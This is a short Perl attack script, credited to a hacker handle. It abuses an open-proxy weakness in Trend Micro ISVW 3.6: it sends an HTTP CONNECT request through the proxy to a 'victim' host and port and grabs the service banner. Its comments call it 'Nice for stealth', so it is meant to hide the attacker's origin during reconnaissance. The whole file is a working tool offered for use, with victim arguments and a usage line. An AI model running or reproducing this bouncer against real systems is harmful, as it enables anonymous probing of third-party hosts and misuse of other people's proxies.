#!/usr/bin/perl

#Trendmacro ISVW V3.6 Proxy bouncer..
#grabs banner from a given ip and port..
#Nice for stealth...
#Enjoy, 

use IO::Socket;
print "\nTrendmacro ISVW V3.6 Proxy bouncer, /banner grabber..\n";
print "Coded by: Deadbeat/AnGrY_SQl\n";
print "Comments: deadbeat\@hush.com\n";
$proxy = $ARGV[0];
$proxy_port = $ARGV[1];
$victim = $ARGV[2];
$victim_port = $ARGV[3];
if (!$ARGV[3]){
   die "Usage: perl trendmarco.pl <proxy> <proxy_port> <victim> <victim_port>\n";
}
print "Proxy: $proxy ", "Port: $proxy_port\n";
print "Target: $victim ", "Port: $victim_port\n";
$sox = IO::Socket::INET->new(
   Proto=>"tcp",
   PeerPort=>"$proxy_port",
   PeerAddr=>"$proxy"
);
$request = "CONNECT $victim:$victim_port / HTTP/1.0\r\n\r\n";
sleep 1;
print $sox $request;
while (<$sox>){
   print "${_}";
}
printf "\n";
print "There, u go..done..\n";